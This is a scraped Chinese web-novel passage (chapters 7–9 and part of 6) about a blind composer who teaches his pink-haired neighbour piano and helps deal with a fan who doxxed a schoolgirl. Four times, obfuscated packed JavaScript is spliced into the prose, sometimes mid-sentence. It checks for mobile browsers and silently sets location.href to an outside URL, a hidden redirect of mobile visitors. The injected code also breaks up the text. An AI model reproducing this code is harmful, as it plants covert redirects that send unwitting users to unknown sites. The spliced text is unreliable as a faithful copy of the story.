0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223488|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,装模作样地说:“哦哦,差点忘了你没法看。那个,小那谁,你把谱拿过来,给迟老师哼一遍。” 纸又被抽走,虎口被割得一痛。 叫来的人将歌哼一遍,是他的原曲。 等到正式表演时,迟燃就在后台坐着,听着被改得面目全非的曲子。 他扯着周庭的衣服跟他理论,可周庭轻蔑地笑着:“这就是你写的。” “不是!”迟燃凭记忆报出被改过的部分,边说边翻手机里的谱子,双手举着递到他前面,“这些都改动过了,我一开始写的是…” “谱子上白纸黑字写着,就是她们唱这版。”周庭说,“看不见也不能臆想啊。” 迟燃背脊发冷,舞台过亮的追光时不时扫过来,刺他的眼。 他没有半点证据,没有半点争辩的凭据。 孤立无援。 舞台上的表演进入副歌,整齐的歌声中,有个不和谐的声音,唱着未升Key的原曲。 迟燃抓住救命稻草似的,大声与周庭争辩:“你看你看!你说没改过,那她为什么唱的是原曲?” 周庭冷笑,睁眼说瞎话:“那是和声。” “你再检查检查吧,除了视力,别落下什么病根。”他关切道。 后来他做UP主,只发成曲,从不发原谱。 从回忆中上浮,他指腹摩挲钢琴琴键,试图平息滔天的愤怒,和其中夹杂的不安与无措。 手机忽然播报,颖姐给他打来电话。 “就知道他会跟你说。”迟燃接起电话就骂,“叛徒。” “他不跟我说,老板也早晚会跟我说。”颖姐叹气,“你这脾气能不能改改。” 迟燃没说话。 他知道颖姐难做,钱宇难做,可他忍不了。 他能忍受周庭折辱他,因为他活该,但他无法容忍周庭侮辱他的作品。 “形势比人强,这道理你肯定比我还懂。”颖姐柔声细语,“人要老是回头看,那是不是就困住了?法律上讲,公司卖歌无需原作者同意,这你心里清楚。明明不需要,但文哥还是打给你,你想过为什么没有?是情分…” 迟燃听着那边长篇大论的心理疏导,反倒觉得胸口更闷。 他沿着墙摸到门边,对着厨房说:“我去透口气!” 没等钱宇回应,他就推门走出去,站在走廊的窗边,迎着刺目的日光,听着电话那端的念叨。 “文哥要不是没办法,也不会这么干。”颖姐叹气,“文哥以前被周庭算计,签了个有问题的合同,这歌不卖违约金能把公司赔进去。” “既然是算计,为什么不走法律途径?”迟燃反问。 “打官司不要钱?”颖姐说,“公司体量差距这么大,打官司他靠拖就能拖垮我们。” “那就认栽吗?凭什么就这么认怂,不想办法就…” 颖姐被他问得也有点火大,打断他说:“真能被你气死。要打你出钱,这脾气。” 迟燃攥着拳头吼:“我出就我出!” “行。你出,把你卖了都不够。” “我就算卖身,也会跟他刚到底!” 迟燃说完就挂断电话。 他头抵着温热的玻璃,感受那种模糊的光晕,眼角也温热。 “你要卖身?”身后传来个熟悉的声音,“真卖?” 他回过头,于无边无际的光晕中,不甚清晰地感受到一抹火苗似的粉。 那抹粉色跳跃震颤,声音也震颤:“那卖给我吧。” 7. 第 7 章 那你卖给我吧。 迟燃第一反应是自己听错,要么就是她在跟别人说话,所以他没理。 谁知小粉又往前走几步,扬着声音说:“跟你说话呢!” “什么东西?”迟燃都没顾上发火,莫名其妙道,“再说一遍。” “那你把自己卖我吧。”她又说一次。 迟燃一偏头:“有毛病吗?” “你有毛病吗?”她吃了枪药似的呛声,“不是你自己说要卖身吗?” 迟燃原本非常愤怒,但此时此刻更对这个处境和对话感到莫名其妙。 她到底要干嘛? 找不痛快吗? “跟你说话了吗?懂什么叫边界感吗?”迟燃反问,“小、粉。” “你懂边界感,你在网上骂人不通乐理?”她不甘示弱,“余、烬?” 迟燃一愣,接着反应过来才说:“你是那个…改我谱的?” “你有病吧?随手拍的日常你揪着不放,你讲话这么难听,卖身都得打折卖!!”她几乎在吼,“你还没礼貌!!你网上没礼貌,本人也没礼貌!!!你卖身攒钱买点礼貌得了!!” 迟燃能感觉到她边吼边跳脚。 互联网上的符号变成霹雳爆炸的粉色跳跳糖,那种直观的冲击让他有些愣神,都忘记反驳, 她不依不饶地继续吼:“你自己说要卖身,那卖我!去跟我的粉丝道歉,跟我室友道歉,跟我道歉!”她继续说。 迟燃依然在愣神。 她这话里不剩什么逻辑,这是找架吵呢? “道歉!” 宋呓欢根本不知道自己在说什么。 她又给王女士打许多个视频电话,一直打到探视时间结束,都没接,心里闷得不行。 出门送菜又刚好撞上他在讲电话,语气很差,脑子一抽就冲上去。 她始终感觉胸口凝结着一团莫名其妙的东西,上不去下不来,堵得她浑身上下都不对劲。 流不出眼泪,也发不出脾气。 就想找人吵架,打起来最好,能感觉活着,能忘掉胸口的那种堵。 谁知迟燃怔愣地听完她的话,忽然笑出声,笑得挺无奈。 笑完,他说:“你找茬呢吧,小粉。” 就像一拳打在棉花上,她觉得胸口更堵。 他还想再说点什么,但宋呓欢没再跟他纠缠,待不下去,转身从消防楼梯跑出去。 迟燃目送那抹朦胧的粉色迅速消失,叹口气。 他本来心情就差,按他原本的脾气,早就按顺序跟她大吵起来,非得把桩桩件件都掰扯明白才行。可鬼使神差地,他听着她颤抖的尾音,满肚子火气反倒消失。 因为她在宣泄。 这种毫无逻辑的宣泄,反倒让他觉得熟悉。 对某个销售:“确认个毛线的型号颜色,我要是能看见型号颜色买个毛线的盲杖!” 对某个滴滴司机:“我瞎子,我哪知道左拐还是右拐。” …… 就这种心里揣着不痛快,所以到处找不痛快的感觉,实在太熟悉。 熟悉到让他忘记发火。 宋呓欢都没开小电驴,甩开胳膊一路跑到小区门口。她极其缺乏锻炼,到的时候眼前发黑、呼吸急促,口罩里面湿透,肺都快炸了。 身体缺氧告警,自然也就把那种堵的感觉压下去。 她徒手领着好几大包团购,又徒步往回走。 回楼里挨家挨户地送完,她出了满身汗,早春的风一吹,有些冷,她赶忙搭电梯回家。 出电梯,她身上一阵冷一阵热,脚下加速往家门口冲。 “哎。”身后有人低声叫她,她撑着门回头。 眼前有些发黑,腹部坠痛,她没走几步,就彻底失去意识。 再睁开眼,人已经在陌生的地方,躺在陌生的沙发上,环境看起来是别人家的客厅。 “你醒啦!”钱宇说。 宋呓欢吓一跳:“我在你们家?” 她撑着身子想坐起来,但身上很重,没起来。低头一看,身上盖着厚厚的棉被。 “好热。”她掀到一边。 “燃哥说你要是穿裙子,就给你找个东西盖。”钱宇说。 迟燃坐在沙发对面,没有开口的意思。 钱宇:“你刚才突然晕倒,你室友打完120跑去正门接车了。” “120?”宋呓欢瞪大眼珠,“打什么120,我就是一天没吃饭。” 她赶忙给果果打电话。 幸亏她醒得快,不然都得被拉走。 “你真没事吗?”果果说,“你脸色惨白,吓坏我了。” 宋呓欢叹气:“哪那么夸张,我就饿的。” “确定?” “确定!” “那我让救护车不用来了,你先吃点东西。” 挂断电话,钱宇非常贴心地给她端来碗糊糊,“先吃点吧?刚出锅。” “胡辣汤?酸辣汤?芝麻糊?”宋呓欢接过来喝了一口,没等咽就原封不动地吐回去。 她看看碗里的糊糊,又看看钱宇,她抿抿嘴巴,感受残余的怪异味道,千言万语汇成一个字:“啊?” “番茄炒蛋啊。”他说,“你不是让我先炒蛋嘛,但还是成汤了,我就干脆加了点面粉酱油蚝油什么的,有那么难喝吗?” 宋呓欢有八百句吐槽,但每句都显得恩将仇报。她又抿抿嘴,指着碗说:“不好意思啊,回头赔你们个新碗。” “没事儿,我做饭不行,入口再吐回去是常事。” 宋呓欢看看手里的碗,又抿抿嘴,又想吐了。 钱宇不死心,又端出来一盘黑黢黢的东西:“土豆炒鸡吃吗?” “乌鸡?”宋呓欢问。 “没啊,老抽有点放多了。”钱宇说,“但这个我尝了,酥酥脆脆,还行。” 宋呓欢下不去手。 迟燃总算开口:“给她吃块冰糖吧。” “好吧。”饭没推销出去,钱宇还挺失望。 客厅的光线很暗,迟燃看不见粉,只能通过声音判断宋呓欢所在的位置。 她说话节奏慌里慌张,带着点小心翼翼,应该是觉得尴尬。 他很缺德地琢磨着要不要喊她句“小粉”,让她更慌乱。 像那天在电梯里,他忽然转头时那么慌乱。 连电梯都晃起来,特别好玩。 不知是不是他邪恶念头挂脸,让她察觉到,沙发那边忽然传来布料摩擦声,接着是脚步声。 她说:“那我就先回去了!” 脚步声急匆匆地掠过客厅,她往门口走。路过他卧室门口时,光洒在她身上,他才隐约感受到一团粉色的火焰。 火焰咻地往外冲几步,又倒车回到光下,回到他可见的范围内。 开溜未半,中道返回? 她做什么呢。 “那是…古董钢琴??”她声音很大,满是惊喜。 “对啊,燃哥的。”钱宇说。 “活的吗??”她好吵。 迟燃提一口气:“你说的活,要是指会不会长出脚来满地跑,那不活。” “哦。”察觉他态度不佳,她的语气瞬间收敛不少,“那…那我先走了。” 宋呓欢压根没看门,她慢吞吞地走,眼睛镶在钢琴上。 那家古董钢琴外观古朴,琴键跟电子琴差不多高,她们隔墙听过,音色非常澄澈。 真眼馋。 迟燃叹口气。 她嘴上说先走,可视线里那团粉色的火焰依然在他门口,半寸半寸地龟速挪动,挪一步退半步。 显然没在走。 赶人的话都在嘴边了,鬼使神差地,迟燃听见自己说:“想看吗?” 粉色火焰瞬间定格在原地,他明明看不见,但就是感觉她站得笔直。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223489|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可以进去看看,别乱动。”他说完停顿片刻,补了句,“小粉。” “我叫宋呓欢。”她站在古董钢琴旁边,目不转睛地盯着钢琴,随口补充。 她小小声地:“哇。” 陈旧的胡桃木非但不显陈旧,反倒泛出淡淡的光泽,侧面的雕饰早已磨损看不出原样。和市面上的钢琴相比,不像乐器,更像记载着陈年故事的老物件。 宋呓欢认真端详片刻,问:“这…没有脚踏板?” “嗯。” 迟燃起身走到门口,依然是那种脚尖接脚跟的走法,顺利走到钢琴旁。 他手搭在琴键上,轻轻地摸过去,指着琴正中的拨杆,“弱音拨杆在这。” 宋呓欢见过古董钢琴,但没见过这样的,她摸摸被她称为“拨杆”的小圆木,手感很奇妙。 她大声哇了一声。 “可以弹。”他说。 宋呓欢心痒,得到首肯自然省略客气这一步,二话不说坐稳上手,开始弹简单的练习曲。 可音色不太对劲,节奏不对劲,指尖不对劲,好像坐的琴凳都不对劲。 迟燃笑出声,“你学的是电子琴?” 宋呓欢沮丧承认:“是。” “手劲真大。” 他随手在她旁边示范,手指跃动,光自悬空的手心透过来,有生命般地伴着手指飞舞。 宋呓欢屏息聆听,大气都不敢出,心头震动。 弹毕,他手一抬,“轻点,琴键不好配。” 宋呓欢心里那点感动的小火苗唰地熄灭,欺负他看不见,狠狠剜他一眼。 她手掌虚握再试一次,琴声不再呆板,但依然没有迟燃弹得那么轻盈。 她犹豫片刻,看看他,但没出声,也没再弹。 迟燃就跟会读心术似的,忽然问:“要给你弹首曲子吗?” 宋呓欢猛猛点头,点了一会才反应过来,超大声:“要!!!” “我是瞎,不是聋。”迟燃示意她站起来。 宋呓欢又偷偷剜他一眼,站在钢琴边。摸到钢琴上的ipad的时候,她脑子一抽说:“你要用ipad看谱…” 紧急刹车。 迟燃又笑一声:“我是瞎。” “…对不起。”宋呓欢蚊子嗡嗡似的说。 迟燃没在意,而是说:“把ipad放回原位。” “嗯?”宋呓欢很快反应过来,他是为了方便找,“哦哦好,放回去了。” “你很喜欢古典钢琴?”他问。 “我喜欢钢琴,小时候就想学,可惜钢琴太贵,所以学了电子琴。”她说。 “嗯。”他随意敲个琴键定位,接着手悬在琴键上,问,“听什么?” 宋呓欢一愣,“我来选?” “说说看。” “Icarus。”宋呓欢立刻回答。 之前曾经隔着墙听他弹过,她非常喜欢。没想到真能现场听他弹。 他的手在琴键上随意跳跃几下,大约是在定位,接着Icarus的旋律便自然轻快地自他指尖流淌而出。 古典钢琴的曲韵更加悠长灵动,这首本就自由的歌多出某种恣意与张扬。 余晖中跳跃的小鹿,清晨日光透过云层,风载着远处的气息飘过山谷。 从下午打不通视频开始,宋呓欢一直觉得胸口很堵。里面好像盛着死水,随着她的动作一下一下撞着胸口,时不时淹没喉咙,喘不过气。 此时,死水忽而泛起波澜,流动起来。 迟燃指尖随性地在琴键上跳跃,只遵循心里的声音,不遵循任何规则与节拍。 指尖自中音区跃至低音区时,他触摸到潮湿。 迟燃错愕片刻,但还是继续弹下去。 第二次进入低音段落时,他才彻底弹不下去,手指突兀地停止,房间缓缓归于安静。 因为,潮湿落在他手背。 8. 第 8 章 宋呓欢是在琴声停止后,才意识到自己在流眼泪。 “我…我也不知道。”她胡乱说。 不知道刚才为什么找茬,不知道现在为什么哭起来。 迟燃没多问,说:“我就当你在夸我。” 他胳膊伸长,搭在旁边电脑桌上,抽纸巾递给她。她没立刻接,他只好犹豫着叫她:“宋…小粉。” “宋呓欢。”她鼻音很重,慢吞吞将纸接过来,“你怎么还没记住我名字。” 没礼貌。 她擦擦脸,闷声说:“琴潮了怎么办?” “吹风机一吹就行。”迟燃没在意,调侃道,“这么喜欢琴?” “嗯。”宋呓欢顺着说,“小时候家里穷,买不起嘛。” 迟燃说:“你想弹,随时可以…” 他说一半就停下。 “嗯?”宋呓欢狐疑,“你有这么好心?” 她跟迟燃接触下来,总觉得这人带刺,忽然好心起来,难免让人觉得不适应。 迟燃轻咳一声:“不是白借你弹。” 宋呓欢警惕:“那你要什么?” 他有点无奈:“厨房那位做饭要我命。你会做饭吗?” 听他这么说,宋呓欢反倒松口气,说:“跟一般人比算会,跟他比算厨神。” 迟燃没说话。 宋呓欢迅速顺杆爬:“拿厨艺来换,一顿饭一小时,成交吗?” 迟燃停顿片刻,说:“成交。” 她语气没剩多少哭过的意思,情绪转变还挺快。 说是一顿饭一小时,但第二天中午,她带着一份红烧排骨上门时,钱宇满脸感激,恨不能让她将琴搬走。 “啊!什么叫差距,这就叫差距!”钱宇真诚地赞美手里的排骨,“宋老师你太强了。” 宋呓欢应付两句,便急匆匆去弹琴。 古典钢琴音色醇厚浪漫,和电子琴感受完全不同。她之前发的歌从没有过古典钢琴伴奏,她还挺心动,想多练练,发个视频给粉丝惊喜。 她选了一首最简单的练习曲,打算从最简单的指法练起。 “肌无力吗?” 她练得专心,没发现迟燃已经站在门口,不爽回:“你昨天还说我手劲大。” “你手掌手腕力气太大,手指肌无力。”迟燃点评。 宋呓欢不爽归不爽,但还是虚心问:“那怎么办?” “手型像我这样。”他走进来,站在旁边,手指搭在低音区。 “这样对吗?” “你好,我瞎。” … 大概是他看起来太不像失明的人,宋呓欢总是忘。 好在他没介意,挺欢快地说:“空出个半圆形,悬腕,手指发力。” 宋呓欢按照他说的指法弹,他侧头听完,说:“是这个意思,手腕再放松。” 他又演示一次,灵动的音乐自然流淌。 她跟着试,总感觉哪里不一样。 “别在心里数拍,用耳朵听。”他继续演示。 他们接下来一人弹一次,宋呓欢明显感觉到自己的进步,一小时后闹钟响起,她甚至有些不舍得走。 钱宇从冰箱里掏出整盒冰冻黑虎虾递给她,毫不客气:“晚上吃这个。” “还点菜?”宋呓欢皱眉。 “他。”钱宇指指迟燃,“以前给明星上音乐课,一节六位数,两小时。” “油焖大虾,行吗?”宋呓欢笑容满面,“我整幅身家都不值六位数。” “瞎之前贵。”迟燃说,“现在打折。” 宋呓欢默默算了算,短短一个小时,他已经说了两遍瞎。 之前见面也是,“瞎”字出场频率极高。 可以不避讳,但这也太不避讳了吧? 晚饭前,宋呓欢如约烧油焖大虾。 黑虎虾有手掌大,她们家锅小,虾头虾尾顶着锅边,在薄油里慢慢变色,满屋香气。 果果就站在灶台旁等,眼睛盯着虾。 宋呓欢中饱私囊,从中挑选个头最大的几只,作为她们的晚餐。 “好香!”果果说。 “你先吃!我去送饭弹琴!!”宋呓欢欢欣鼓舞地提着饭盒。 敲响隔壁的门,钱宇几乎秒开,合理怀疑他就在门后等饭。 “呐!”宋呓欢递过去,自觉换鞋进门,走到钢琴旁。 中午那练习曲没弹好,她也没换曲,依然练那首。 她弹着弹着又觉得奇怪,怎么也找不回中午的感觉。 她探头出去想问问迟燃,可他正在以一种马杀鸡的手法给虾去皮,显然没空搭理她,只好作罢。 要怪就怪虾吃起来太慢,迟燃又不肯像钱宇那样整只塞嘴里,再呸呸呸吐皮。 等迟燃吃完饭,一个小时也快到了。 宋呓欢抓紧最后的时间问他:“为什么这几个音我老是弹不响啊?” 迟燃抱着胳膊,懒懒靠着墙,“可能你手指短吧。” “怎么可能!”宋呓欢看着她哆啦A梦式的小圆手,再看看迟燃修长的手指,底气不足,“…也不算短吧。” 他手放在琴键上,拇指和小指分别按下琴键,问:“这两个你能同时摸到吗?这是七度。” 宋呓欢伸手在那两个琴键上比划。 迟燃手心倏尔一痒,接着温热,不知碰到她的关节还是手背。 他虚虚搭在琴键上的手指一空,琴键下落,琴声响起。 他被烫到似的缩回手。 “能碰到!”她沉浸在自己手指不算短的开心里,压根没注意到。 “能碰到什么,我手吗?”他轻咳一声,“你按中音区,我按低音区,不是让你抢我手里这两个键。” 宋呓欢虽然之前有些占他便宜的念头,但这会并没有。 很冤枉。 她偷偷剜他一眼,嘴上配合:“哦,好。” 他等了会,手才重新落下:“这是八度。七度小朋友都行。” 宋呓欢又偷偷剜他一眼,跟着做,勉强弹响。 “轻点,别把我琴键抠掉。”他吐槽,“会有点难?” “嗯。”她说,“我再试试。” 努力几次,在手型精准的情况下,她能成功弹响。 “这曲子最远八度,能弹。”他说,“你现在手型对的,记住。” 正说着,闹钟响起,时间到。 约定就是约定,再说这是在别人家,她也不好一直赖着。她依依不舍地拿上谱子,起身。 走前她不死心地回头问:“你能弹几度?” 迟燃没回答,抬手,落下,轻轻松松按下十二度,甚至没搭到旁边的琴键。 宋呓欢再偷偷剜他一眼。 “宋厨神走啦?”钱宇抱着肚子躺在沙发上,随口客套,“你吃饭了吗?” “没呢,回去吃。”她说。 “我下午两点到四点空。”迟燃靠在卧室门边开口。 宋呓欢没懂:“所以你想吃个下午茶?” 那是额外的价钱。 迟燃脸色微微皱眉,没说话。 “哦哦,燃哥意思可能是你要么下午来弹琴?这样他能教你,你也能吃饭。”钱宇尽职尽责地翻译。 宋呓欢看看迟燃的脸色,很难相信他就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223490|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个意思。 迟燃沉默许久,说:“下午两个小时。中午晚上你不用来,钱宇上门要饭。” “对,我去要饭。”钱宇配合地说。 天降馅饼,再不接就不礼貌了。 “迟老师!”宋呓欢痛快拜师,“加个微信吗迟老师!” 迟燃从口袋里掏出手机,手指刚放上去,又停顿,将手机塞回口袋。 钱宇掏出手机打圆场:“来来来加我,你迟老师是半个娱乐圈人,不好加。” 真好,白白薅到个身价很高的老师,四舍五入她就是女明星。 宋呓欢扫码加上钱宇微信,欢天喜地回家吃饭。 等人走后,迟燃回卧室刚拿出耳机戴上,Siri就毫无感情地播报: “助理钱宇邀请你和白日梦加入了群聊。” “助理钱宇将群聊名修改为:音乐小饭桌。” 没等他开口,门口钱宇大声说:“不客气嗷!” “我谢你什么?”他问。 “不想加人家,你掏哪门子手机。”钱宇毫不客气,“不就是没带耳机,手机会外放语音播报,你不愿意嘛。” 迟燃没说话。 钱宇毫不客气地拆穿:“我都看出来了,你没那么抗拒教她。之前颖姐侄女,五千一节课你也不肯教,怎么在这收便宜徒弟?” “再不收就饿死了。”迟燃说。 “不客气,不客气。”钱宇说,“群里加下厨神,搞好关系没准居家结束以后也能蹭饭,gogogo~” “不加。” 迟燃关上门,坐在琴凳上愣神。 宋呓欢这姑娘实在让人觉得难以理解,带着某种类似于自来熟,但又比自来熟夸张很多的特质。 短短几天,他就见证她逼他卖身、晕倒、掉眼泪等等远超正常社交范围的举动。在陌生人面前触发任意一条,都是足够造成社会性死亡的程度,可她似乎并不在意,依然反复出现在他面前。 不在意他的看法,不在意他的评判,该干嘛干嘛,还毫不客气地要弹他的琴。 感觉是挺能给人添麻烦一姑娘,还是少接触为妙。 但不知怎的,关系还是拉近那么多。 他缓缓扭头,感受卧室内的光。他卧室的灯很亮,但家具主色调基本都是黑白灰,他半点颜色都感觉不到。 宋呓欢在这练琴的时候,他进门就能感受到她那头扎眼的粉色头发,他注意力就永远落在她身上。 他视线狭窄晦暗,像偏远孤岛上早已停运的灯塔,已经许久没有发射醒目的讯号,或是与远方的船只产生联结。 这么久以来,他第一次感受到路过的帆布,带来阵阵粉色的风。 所以哪怕这风没边界感,哪怕这风有些麻烦,他还是默许。 他点进群聊详情,又点进白日梦的个人信息页。 Siri毫无感情地继续播报:“…白日梦,朋友资料,添加到通讯录,添加,添加,添加到…” 他反反复复地选中添加到通讯录,但一直没有双击确认操作。 最终,他没有添加,手机锁屏丢到一边。 因为没意义。 与其说是他愿意教便宜徒弟,不如是打发无聊居家时间的办法。这段时间过去,那这事就过去,没什么特别意义。 边界感存在的意义,就是圈出安全区,然后老老实实地待在里面,别出来。 正想着,Siri又开始播报。 “白日梦请求加你为好友。” “加我加我加我加我加我加我加我加我…” 魔音贯耳。 迟燃唰地扯下耳机。 9. 第 9 章 “没有在跟你商量,你快点加我,我有事…” “我有急事,你快点快点快点!你加…” “我去敲门咯?你快点加我,你不加我我要敲门了,加我加我加我加我加我…” 这些本就吵闹的句子,经Siri播报越发聒噪,电钻似的往他脑子里钻。 迟燃靠近耳机听两句,再拿远耳机等一会,再靠近再拿远,足足等待五分钟,才彻底播放完所有播报。 他不知道她要干什么,只知道她有事找他,看样子挺着急,但无法区分是事情急还是她急。 不理解,真不理解。 只觉得自己没加她微信的决策极其英明。 咚咚咚!! 咚咚咚!!! 咚咚咚!!!! 钱宇在门外嗷嗷叫:“来了来了来了!!别急别急别急别急别急…” 家门里一只蝈蝈成精,门外一只蛐蛐成精,耳机里还有只仿生电子知了精,他头要炸开。 迟燃捂着耳朵咬牙,“别费事,走过去哪有她拆门快。” 蝈蝈精给蛐蛐精开家门,蛐蛐精进来砸他卧室门。 “你怎么不加我!急事找你!”小粉的偏高声音和着敲门声,纯噪音。 他深呼吸,想好好教教门外那位,边界感三字的含义。 面前的门唰一下拉开,宋呓欢对上迟燃的臭脸。 她劈头盖脸道:“你那开盒的粉丝还有完没完!” 迟燃一愣,没说话。 视线被粉色占满,他手臂的皮肤能感觉到她动作带来的风和时不时甩过来的头发。 他后退,可她又很快追上来,没什么保持距离的意思,他只好一退再退。 宋呓欢说着说着感觉够不到人,又追几步:“这人有没有道德底线?” 被开盒的粉丝叫小熊,她方才收到小熊妈妈的私信,说她最近逃课,起因还是之前网络上的小纠纷。 宋呓欢加上小熊妈妈的微信,细问才知道她的照片被挂在色情网站上,同班男生刷到,在学校内四处传播,开她黄腔。小熊不想上学,也不敢跟妈妈说,只得躲起来。 再三个月就高考,她妈妈急得不行,只好登陆女儿的账号联系她。 “就这个!这个AAA龍,是不是你粉丝!他开人家盒你知道吗!”宋呓欢指着手机上放大的头像,截住他话头,“别跟我扯什么看不见,你明明回复过我的微博!” 她连珠炮似的将小姑娘的遭遇讲一遍,再回过神,迟燃已经被她逼退到电竞椅上坐着。 她居高临下地看着他,叉腰说:“你知不知道,任何与他人喜爱崇拜息息相关的职业,都至少至少应该做到正确引导!” “你粉丝开别人盒,你就装作不知情吗?” 迟燃被她逼得避无可避,后背紧紧贴在电竞椅上,扶着椅子的手青筋凸起,微微仰头沉默。 “说话!”宋呓欢急得不行。 迟燃脚尖点地,轻轻一蹬,电竞椅带着他后退。 “你这是?回答我!”宋呓欢察觉到他刻意远离,不爽道。 迟燃深呼吸几次,双手撑着椅子,歪头抬眼,意味不明地笑一声,“什么意思啊?” “啊?”宋呓欢没懂。 “开盒。”他说,“开盒是什么意思。” 宋呓欢瞪大眼睛。 “百度不认识的词,我就不认识。”他语气冷硬,听不出什么情绪,“解释解释,什么叫开盒。” 这种年初才兴起的网络名词,对他来说确实… 宋呓欢张张嘴,半天才开口:“就是…你的粉丝AAA龍通过某些手段,找到我粉丝小熊的个人信息,照片还被放到色情网站上…” 迟燃没什么表情,但气压很低。他安静听完,点点头说:“这事我来解决。” 宋呓欢不知说什么,嗫嚅道:“谢谢啊。” “不用。”他依然没什么表情,“这事解决,你也别再来。” “…行。” 迟燃将钱宇喊进来,给他报几个名字,让他去打电话。 接着转过来,态度甚至算好,跟她说:“你有那个小…小什么的联系方式吗?” 宋呓欢:“有微信,之前送周边加过。” “你来劝她。”迟燃说,“有功夫逃学,不如想想怎么整那嘴欠的男同学。” 宋呓欢二话不说给小熊发去许多消息,等她回。 钱宇很快打完电话,回来说:“最慢七十二小时,能拿到那个什么AAA龍的个人信息。” 宋呓欢突然有种在看黑/道办事的感觉,眨眨眼:“合法吗?” 迟燃回:“你说呢?” “不合适吧…”她犹豫。 钱宇好心解释:“什么呀,合法的。给那个什么龍的注册平台发个律师函,平台会把他身份信息给我们的。” 非常合法。 她感叹:“这么有人脉?” “那也没有,律师函六百一封,量产的。”钱宇悄悄指指迟燃,“我们算大客户,流程可太熟悉了。” 没等到七十二小时,第二天下午,他们就收到AAA龍的联系方式。 被叫过去的时候,宋呓欢正跟小熊打电话呢,小姑娘听起来开心不少:“我照你说的,报警让他配合调查来着。警察叔叔当着他爸妈的面,问他在第几页看到,怎么会上这个网站。” “嘿,真棒。”宋呓欢笑着说。 “我回班让他们积极提供线索,可再没人敢提这茬。”小熊声音带着快意,“我们班姑娘都可崇拜我啦!” “那个曝你信息的人,你怎么想?”宋呓欢问她。 “让他道歉!”小熊挺有底气地说,“当面跟我鞠躬道歉!” 宋呓欢看向迟燃。 他前面都没出声,这会儿说了句好。 小熊妈妈那边已经报警,宋呓欢将信息发给她,让她一并给到警方。 这件事情效率很高,没等多久,小熊妈妈就给她发来消息: 【警察刚才给他电话,他电话里就跟我们说对不起。】 【还是个半大孩子,但我们没谅解,他必须得来给我女儿当面道歉。】 【真感谢你。】 事情完美解决,宋呓欢反倒叹口气,说不出是开心还是别的什么。 “办法不错。”迟燃说。 她说:“多亏…迟老师提醒。” 迟燃没说什么。 宋呓欢乘胜追击:“你以前总跟人在网上吵架吗?” 迟燃没说话,倒是钱宇替他解释:“之前有人改他谱,他在网上跟人骂战来着。后来就有人…那时候不叫开盒,叫人肉,人肉他信息。就有人找到他医保卡…” “行了。”迟燃不耐烦,“你出去。” 宋呓欢目送钱宇的背影,搜肠刮肚地想下句话。 “你。”迟燃脸转向她,倒是没说出去,而是说,“说好的。” “抱歉啊。”宋呓欢没走,说,“我真没法…” “没法想象?”他说,但没等她回答,“所以啊。” “说话算话,宋小…宋呓欢。”他说。 / 好不容拥有本名的宋小粉在床上反复翻滚,毫无睡意。 很难说清她是内疚还是惋惜,总之有某种黏糊糊的情绪缠住她,让本就潮湿的春夜更加难渡。 回想迟燃之前的举动,她完全能理解他为什么忽然冷淡下来。 他拼尽全力地将自己的存在感降到最低。拼命融入人群,却因为她的莽撞,他所有伪装和努力都被揭露开来。 换做是她,只会更生气。 迟燃努力让自己看上去和她,和普通人没什么不同,但她对他们之间的差异实在缺乏想象。 然而摒除这些差异,她还是想认识迟燃。 想厚脸皮蹭他的钢琴课,想看他的手指在钢琴上飞舞,露出那种骄傲的神情,尽管这神情看着很让人不爽,想…想更了解。 迟燃,到底是个怎样的人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223491|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想再见,不想就这么结束。 宋呓欢睁着眼睛熬到天亮,在爬下床的瞬间被迟到的困意偷袭,打个大大的呵欠。 白睡了。 刚打开门,就看到果果坐在客厅,鬼鬼祟祟地探头。 宋呓欢问她:“怎么啦?” “你们闹掰,冰箱里那半盒黑虎虾要还他们吗?”果果严肃问。 “哦…要吧?”宋呓欢思考片刻,“我去。” 果果长叹一口气:“好不容易买到黄油,可以做蒜香黄油虾呢。” “邻居和虾你选什么?”宋呓欢笑话她。 “虾。”果果笃定道,“再说把虾还回去也未必能修补邻里关系。” 宋呓欢叹气:“万一呢。” 她没贸然敲门,而是私戳钱宇: 【之前做食材的黑虎虾还有大半盒,我等下拿给你?】 钱宇那边很快显示输入中,输入许久才回:【你们吃吧,没事!】 宋呓欢正要回复,那边就又发一条:【燃哥说的。】 没什么余地。 